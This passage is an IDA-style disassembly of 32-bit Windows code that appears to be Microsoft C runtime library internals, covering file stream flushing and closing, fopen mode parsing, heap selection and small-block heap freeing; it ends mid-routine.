sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_4395A0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------


loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4395A0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------


loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_48B440
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714


loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730


loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 26217F0h
		test	eax, eax
		jnz	short loc_41A730
		nop
		call	near ptr 2640A83h
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------


loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp


loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------


loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------


loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh


loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_48B320, esi
		jle	short loc_41A893


loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------


loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax


loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_41A846


loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi


loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_43BCD8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------


loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_43BCF8
		jnz	short loc_41A92B
		push	1
		pop	eax


loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_48A1D8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_48A06C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:48A06Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------


loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx


loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_48A1E0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------


loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------


loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h


loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2


loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx


loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97


loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD


loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_48A1D8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_48B320
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_48A310
		mov	edi, ebx


loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------


loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------


loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_48A310
		mov	[edi+ecx], eax
		mov	eax, dword_48A310
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi


loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_48A078
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: ___:0041ACD2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2710C80h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 279136Ch
		test	eax, eax
		jz	short loc_41ABDF
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41ABDF
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------


loc_41ABDF:				; CODE XREF: ___:0041ABC3j
					; ___:0041ABCCj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41AC21


loc_41AC0E:				; CODE XREF: ___:0041AC1Fj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al


loc_41AC1C:				; CODE XREF: ___:0041AC12j
					; ___:0041AC16j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E


loc_41AC21:				; CODE XREF: ___:0041AC0Cj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp-122Ch]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC43:				; CODE XREF: ___:0041AC39j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2650000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41AC77


loc_41AC64:				; CODE XREF: ___:0041AC75j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al


loc_41AC72:				; CODE XREF: ___:0041AC68j
					; ___:0041AC6Cj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64


loc_41AC77:				; CODE XREF: ___:0041AC62j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx


loc_41AC8C:				; CODE XREF: ___:0041AC41j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3


loc_41ACA5:				; CODE XREF: ___:0041ACB1j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------


loc_41ACAE:				; CODE XREF: ___:0041ACA8j
		inc	ecx


loc_41ACAF:				; CODE XREF: ___:0041ACACj
		cmp	[ecx], bl
		jnz	short loc_41ACA5


loc_41ACB3:				; CODE XREF: ___:0041ACA3j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1


loc_41ACCE:				; CODE XREF: ___:0041ABF8j
					; ___:0041AC8Ej ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41AB6F
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41ACE1:				; CODE XREF: ___:0041ABDAj
					; ___:0041ACC2j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024353h
		dd 0B684A3C0h, 36740048h, 0FFFE93E8h, 3F883FFh,	48B688A3h
		dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
		dd 0C0850000h, 35FF0F75h, 48B684h, 606DE890h, 0C0330242h
		dd 58016AC3h, 14068C3h,	6A0000h, 0B68435FFh, 0E8900048h
		dd 22E52ACh, 7CA3C085h,	750048B6h, 4C8BC301h, 25830424h
		dd 48B674h, 78258300h, 48B6h, 70A3016Ah, 890048B6h, 48B6800Dh
		dd 6805C700h, 100048B6h, 58000000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_48B678
		lea	ecx, [eax+eax*4]
		mov	eax, dword_48B67C
		lea	ecx, [eax+ecx*4]


loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------


loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx


loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------


loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]


loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx


loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi


loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi


loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------


loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
